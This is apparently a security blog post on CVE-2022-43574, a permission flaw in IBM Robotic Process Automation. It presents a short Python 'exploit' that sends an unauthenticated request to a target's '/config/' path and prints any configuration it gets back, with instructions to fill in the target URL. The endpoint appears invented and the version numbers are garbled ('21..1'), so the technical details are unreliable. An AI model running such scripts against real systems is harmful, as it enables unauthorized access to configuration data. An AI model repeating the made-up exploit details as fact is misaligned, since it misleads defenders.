CVE-2022-43574 - IBM Robotic Process Automation Incorrect Permission Assignment Vulnerability

Recently, a vulnerability was discovered in IBM Robotic Process Automation versions 21..1 through 21..5. This vulnerability, labeled as CVE-2022-43574, arises due to incorrect permission assignment, allowing unauthorized users to access application configurations. It has been assigned an IBM X-Force ID of 238679. This blog post will discuss the details of this vulnerability, provide code snippets demonstrating the exploit, and share original references for further investigation.

Vulnerability Details

In the affected versions of IBM Robotic Process Automation, incorrect permission assignment is applied to certain application configurations, allowing unauthorized users to access and potentially modify these configurations. This exposes the application to security risks, as threat actors could manipulate these configurations to gain unauthorized access to sensitive data or execute malicious activities.

Exploit Details

The exploit for this vulnerability takes advantage of the incorrect permission assignment, by querying the application configurations for sensitive data without proper authorization. Given the simplicity of the exploit, this makes it relatively easy for an attacker with basic knowledge of the system to perform the attack.

Below is a simple code snippet in Python that demonstrates how to exploit the vulnerability

import requests

# Replace 'TARGET_URL' with the URL of the target IBM Robotic Process Automation instance
TARGET_URL = 'https://TARGET_URL/config/';

# This function performs an unauthorized GET request, accessing application configurations
def exploit(target_url):
    response = requests.get(target_url)
    if response.status_code == 200:
        print("Application configurations retrieved:")
        print(response.text)
    else:
        print("Exploit failed. Status code:", response.status_code)

# Execute the exploit
exploit(TARGET_URL)

To perform the exploit, replace 'TARGET_URL' with the URL of the target IBM Robotic Process Automation instance. Upon execution, the script will perform an unauthorized GET request to access the application configurations, potentially revealing sensitive information.

Original References

For more information on this vulnerability and the affected versions, please refer to the official IBM Security Bulletin: Vulnerability in IBM Robotic Process Automation Incorrect Permission Assignment (CVE-2022-43574)

You can gain additional insight into the vulnerability by visiting the official CVE page: CVE-2022-43574

IBM's X-Force ID 238679 also provides in-depth information about the nature of this vulnerability: IBM X-Force ID 238679

Conclusion

It is essential for organizations using IBM Robotic Process Automation versions 21..1 to 21..5 to take immediate action to mitigate the risks posed by CVE-2022-43574. Upgrading to a patched version or implementing necessary security controls covering permission assignments are critical steps to ensure the protection of sensitive data and guard against unauthorized access to application configurations. Make sure to stay updated on the latest security patches and advisories from IBM to maintain a secure environment.

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/04/2022 16:20:00 UTC